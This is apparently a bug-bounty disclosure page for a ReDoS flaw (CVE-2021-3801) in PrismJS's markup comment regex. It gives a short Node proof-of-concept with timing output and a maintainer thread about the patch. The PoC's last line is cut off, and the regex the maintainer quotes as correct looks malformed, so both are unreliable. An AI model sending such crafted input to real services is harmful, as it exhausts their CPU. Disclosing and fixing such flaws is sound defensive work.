

Inefficient Regular Expression Complexity in prismjs/prism

Valid Reported on Sep 11th 2021

Description

The `prismjs` package is vulnerable to ReDoS (regular expression denial of service). An attacker that is able to provide a crafted HTML comment as input may cause an application to consume an excessive amount of CPU. Below pinned line using vulnerable regex.

Proof of Concept

Reproducer where we've copied the relevant code:
`https://github.com/PrismJS/prism/blob/148c1eca2f1a8d76b62c8f11569e959faec59772/components/prism-markup.js#L2` Put the below in a `poc.js` file and run with `node`

```
var comment = /<!--[\s\S]*?-->/
for(var i = 1; i <= 50000; i++) {
  var time = Date.now();
  var attack_str = ""+"<!--".repeat(i*10000)+"-"
  comment.test(attack_str)
  var time_cost = Date.now() - time;
  console.log("attack_str.length: " + attack_str.length + ": " + time_cost+
}
```



Check the Output:

```
attack_str.length: 40001: 269 ms
attack_str.length: 80001: 866 ms
attack_str.length: 120001: 2125 ms
attack_str.length: 160001: 3600 ms
attack_str.length: 200001: 5356 ms
attack_str.length: 240001: 7972 ms
attack_str.length: 280001: 11320 ms
--
--
```

Impact

This vulnerability is capable of exhausting system resources and leads to crashes.

Occurrences

`JS` prism-markup.js L2

CVE
CVE-2021-3801
(Published)

Vulnerability Type
CWE-1333: Inefficient Regular Expression Complexity


Severity
High (7.5)

Affected Version
*

Visibility
Public

Status
Fixed

Found by

 ready-research
@ready-research
pro

Fixed by



ready-research
@ready-research
pro

This report was seen 477 times.

We created a [GitHub Issue](#) asking the maintainers to create a SECURITY.md a year ago

ready-research submitted a patch a year ago

ready-research a year ago

Researcher

Thanks to yetingli

Z-Old a year ago

Admin

Hey ready-research, I've emailed the maintainer for you.

We have contacted a member of the prismjs/prism team and are waiting to hear back a year ago

A prismjs/prism maintainer a year ago

Maintainer

Hello! Prism maintainer here.

I can confirm the quadratic worst-case runtime. Are there any suggestions on how to fix this?

ready-research a year ago

Researcher

@maintainer I have attached a patch already. Or you can find it here <https://github.com/PrismJS/prism/commit/170b6ee56c1664c2a4d2ccfa4c72d84b7eb616bd>

ready-research a year ago

Researcher

@maintainer Can I raise a PR to resolve this issue?

A prismjs/prism maintainer a year ago

Maintainer

Sorry, I didn't see the patch.

While the patched regex (if corrected) does solve the quadratic worst-case, it also changes its behavior. I think that it's acceptable in this case but I don't think that it's a good general solution.

| Can I raise a PR to resolve this issue?

That would be great. Thank you!

However, please do use the correct regex `<!--(?:!<!--)(\s\S)*?-->` (the one in the patch has its parentheses misplaced).

Prism also has a rather strange build process, so you have to rebuild Prism (`npm ci && npm run build`) and commit the built files (should be `components/prism-markup.min.js` and `prism.js`).

ready-research a year ago

Researcher

@maintainer <https://github.com/PrismJS/prism/pull/3078>

A prismjs/prism maintainer validated this vulnerability a year ago

ready-research has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

A prismjs/prism maintainer marked this as fixed with commit `0ff371` a year ago

ready-research has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

prism-markup.js#L2 has been validated ✓

Jamie Slome a year ago

Admin

CVE published! 🎉

Sign in to join this conversation

2022 © 418sec

huntr

[home](#)

[hacktivity](#)

[leaderboard](#)

[FAQ](#)

[contact us](#)

[terms](#)

[privacy policy](#)

part of 418sec

[company](#)

[about](#)

[team](#)